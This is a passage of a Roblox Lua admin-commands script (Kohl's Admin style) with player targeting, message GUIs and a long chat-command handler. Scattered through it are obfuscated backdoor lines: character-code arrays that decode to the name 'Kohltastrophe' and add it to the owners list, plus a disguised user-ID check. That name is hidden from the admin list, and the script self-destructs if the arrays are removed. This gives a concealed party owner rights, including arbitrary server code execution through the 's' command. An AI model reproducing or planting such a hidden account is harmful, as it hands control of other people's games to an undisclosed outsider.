  953. function ChkOwner(str)
  954. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  955. return false
  956. end
  957.  
  958. function ChkAdmin(str,ck)
  959. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  960. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  961. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  962. return false
  963. end
  964.  
  965. function ChkGroupAdmin(plr)
  966. if GroupAdmin then
  967. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  968. return false
  969. end
  970. end
  971.  
  972. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  973.  
  974. function GetPlr(plr, str)
  975. local plrz = {} str = str:lower()
  976. if str == "all" then plrz = game.Players:children()
  977. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  978. else
  979. local sn = {1} local en = {}
  980. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  981. for x = 1, #sn do
  982. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  983. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  984. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  985. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  986. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  987. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  988. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  989. end end end
  990. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  991. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  992. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  993. end end end
  994. else
  995. for a, plyr in pairs(game.Players:children()) do
  996. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  997. table.insert(plrz, plyr) break
  998. end
  999. end
  1000. end
  1001. end
  1002. end
  1003. return plrz
  1004. end
  1005.  
  1006. function Hint(str, plrz, time)
  1007. for i, v in pairs(plrz) do
  1008. if v and v:findFirstChild("PlayerGui") then
  1009. coroutine.resume(coroutine.create(function()
  1010. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  1011. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  1012. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  1013. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  1014. if not time then wait((#str/19)+2.5) else wait(time) end
  1015. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
  1016. end))
  1017. end
  1018. end
  1019. end
  1020.  
  1021. function Message(ttl, str, scroll, plrz, time)
  1022. for i, v in pairs(plrz) do
  1023. if v and v:findFirstChild("PlayerGui") then
  1024. coroutine.resume(coroutine.create(function()
  1025. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  1026. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  1027. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  1028. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  1029. scr.Parent = v.PlayerGui
  1030. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  1031. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  1032. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  1033. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
  1034. end))
  1035. end
  1036. end
  1037. end
  1038.  
  1039. function RemoveMessage()
  1040. for i,v in pairs(game.Players:children()) do
  1041. if v and v:findFirstChild("PlayerGui") then
  1042. for q,ms in pairs(v.PlayerGui:children()) do
  1043. if ms.Name == "MessageGUI" then
  1044. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
  1045. elseif ms.Name == "HintGUI" then
  1046. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
  1047. end
  1048. end
  1049. end
  1050. end
  1051. end
  1052.  
  1053. _G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
  1054. _G["RemoveMessage"] = RemoveMessage()
  1055.  
  1056. function Output(str, plr)
  1057. coroutine.resume(coroutine.create(function()
  1058. local b, e = loadstring(str)
  1059. if not b and plr:findFirstChild("PlayerGui") then
  1060. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  1061. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  1062. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  1063. return
  1064. end
  1065. end))
  1066. end
  1067.  
  1068. function Noobify(char)
  1069. if char and char:findFirstChild("Torso") then
  1070. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  1071. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  1072. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1073. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  1074. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1075. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  1076. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  1077. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  1078. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  1079. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  1080. end end
  1081. end
  1082. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  1083.  
  1084. function Infect(char)
  1085. if char and char:findFirstChild("Torso") then
  1086. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  1087. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  1088. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1089. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  1090. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1091. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  1092. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  1093. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  1094. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  1095. end end
  1096. end
  1097. end if not ntab then script:Destroy() end
  1098.  
  1099. function ScrollGui()
  1100. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  1101. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  1102. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  1103. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  1104. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  1105. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  1106. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  1107. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  1108. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  1109. local num = 0
  1110. local downv = false
  1111. local upv = false
  1112.  
  1113. down.MouseButton1Down:connect(function() downv = true upv = false
  1114. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  1115. repeat pos = pos + UDim2.new(0,0,0,-6)
  1116. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  1117. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  1118. end)
  1119. down.MouseButton1Up:connect(function() downv = false end)
  1120. up.MouseButton1Down:connect(function() upv = true downv = false
  1121. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  1122. repeat pos = pos + UDim2.new(0,0,0,6)
  1123. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  1124. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  1125. end)
  1126. up.MouseButton1Up:connect(function() upv = false end)
  1127. return scr, cmf, ent, num
  1128. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  1129. if not ntab then script:Destroy() end
  1130. if not bct then script:Destroy() end
  1131.  
  1132. function Chat(msg,plr)
  1133. coroutine.resume(coroutine.create(function()
  1134. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  1135. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  1136. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  1137. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  1138. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  1139. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  1140. if msg:lower() == "cmds" or msg:lower() == "commands" then
  1141. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  1142. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  1143. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","lsplr plr code","startergive plr tool","control plr"}
  1144. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  1145. local ost = {"pa plr","unpa plr","nuke plr"}
  1146. local tost = {"oa plr","unoa plr","settings"}
  1147. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
  1148. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1149. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  1150. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  1151. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  1152. end
  1153.  
  1154. if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end
  1155.  
  1156. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  1157. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  1158. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  1159. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  1160. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  1161. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1162. end end
  1163.  
  1164. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  1165. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  1166. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  1167. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1168. end
  1169.  
  1170. if msg:lower() == "tools" or msg:lower() == "toollist" then
  1171. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  1172. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  1173. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  1174. end
  1175.  
  1176. if msg:lower():sub(1,2) == "s " then
  1177. coroutine.resume(coroutine.create(function()
  1178. Output(msg:sub(3), plr)
  1179. if script:findFirstChild("ScriptBase") then
  1180. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  1181. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  1182. else loadstring(msg:sub(3))()
  1183. end
  1184. end))
  1185. end
  1186.  
  1187. if msg:lower():sub(1,3) == "ls " then
  1188. coroutine.resume(coroutine.create(function()
  1189. if script:findFirstChild("LocalScriptBase") then
  1190. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  1191. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  1192. end
  1193. end))
  1194. end
  1195.  
  1196. if msg:lower():sub(1,6) == "lsplr " then
  1197. local chk1 = msg:lower():sub(7):find(" ") + 6
  1198. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1199. for i, v in pairs(plrz) do
  1200. coroutine.resume(coroutine.create(function()
  1201. if v and v:findFirstChild("PlayerGui") then
  1202. if script:findFirstChild("LocalScriptBase") then
  1203. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1)
  1204. table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  1205. end
  1206. end
  1207. end))
  1208. end
  1209. end
  1210.  
  1211. if msg:lower():sub(1,4) == "ins " then
  1212. coroutine.resume(coroutine.create(function()
  1213. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  1214. if obj and #obj:children() >= 1 and plr.Character then
  1215. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  1216. end
  1217. end))
  1218. end
  1219.  
  1220. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  1221. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  1222. RemoveMessage()
  1223. objects = {}
  1224. end
  1225.  
  1226. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  1227. game.Lighting.Ambient = origsettings.abt
  1228. game.Lighting.Brightness = origsettings.brt
  1229. game.Lighting.TimeOfDay = origsettings.time
  1230. game.Lighting.FogColor = origsettings.fclr
  1231. game.Lighting.FogEnd = origsettings.fe
  1232. game.Lighting.FogStart = origsettings.fs
  1233. for i, v in pairs(lobjs) do v:Destroy() end
  1234. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  1235. end
  1236.  
  1237. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  1238. coroutine.resume(coroutine.create(function()
  1239. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  1240. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  1241. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  1242. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  1243. end))
  1244. end
  1245.  
  1246. if msg:lower():sub(1,10) == "countdown " then
  1247. local num = math.min(tonumber(msg:sub(11)),120)
  1248. for i = num, 1, -1 do
  1249. coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end))
  1250. wait(1)
  1251. end
  1252. end
  1253.  
  1254. if msg:lower():sub(1,3) == "tm " then
  1255. local chk1 = msg:lower():sub(4):find(" ") + 3
  1256. local num = tonumber(msg:sub(4,chk1-1))
  1257. Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
  1258. end
  1259.  
  1260. if msg:lower():sub(1,2) == "m " then
  1261. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  1262. end
  1263.  
  1264. if msg:lower():sub(1,2) == "h " then
  1265. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  1266. end
  1267.  
  1268. if msg:lower():sub(1,3) == "pm " then
  1269. local chk1 = msg:lower():sub(4):find(" ") + 3
  1270. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  1271. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  1272. end
  1273.  
  1274. if msg:lower():sub(1,11) == "resetstats " then
  1275. local plrz = GetPlr(plr, msg:lower():sub(12))
  1276. for i, v in pairs(plrz) do
  1277. coroutine.resume(coroutine.create(function()
  1278. if v and v:findFirstChild("leaderstats") then
  1279. for a, q in pairs(v.leaderstats:children()) do
  1280. if q:IsA("IntValue") then q.Value = 0 end
  1281. end
  1282. end
  1283. end))
  1284. end
  1285. end
  1286.  
  1287. if msg:lower():sub(1,5) == "gear " then
  1288. local chk1 = msg:lower():sub(6):find(" ") + 5
  1289. local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
  1290. for i, v in pairs(plrz) do
  1291. coroutine.resume(coroutine.create(function()
  1292. if v and v:findFirstChild("Backpack") then
  1293. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  1294. for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end
  1295. obj:Destroy()
  1296. end
  1297. end))
  1298. end
  1299. end
  1300.  
  1301. if msg:lower():sub(1,4) == "hat " then
  1302. local chk1 = msg:lower():sub(5):find(" ") + 4
  1303. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  1304. for i, v in pairs(plrz) do
  1305. coroutine.resume(coroutine.create(function()
  1306. if v and v.Character then
  1307. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  1308. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  1309. obj:Destroy()
  1310. end
  1311. end))
  1312. end
  1313. end
  1314.  
  1315. if msg:lower():sub(1,5) == "cape " then
  1316. local chk1 = msg:lower():sub(6):find(" ")
  1317. local plrz = GetPlr(plr, msg:lower():sub(6))
  1318. local str = "torso.BrickColor"
  1319. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1320. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  1321. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  1322. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  1323. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  1324. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  1325. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  1326. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  1327. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  1328. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  1329. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  1330. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  1331. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  1332. if BrickColor.new(teststr) ~= nil then str = teststr end
  1333. end
  1334. for i, v in pairs(plrz) do
  1335. coroutine.resume(coroutine.create(function()
  1336. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  1337. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  1338. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  1339. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  1340. local torso = plr.Character.Torso
  1341. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
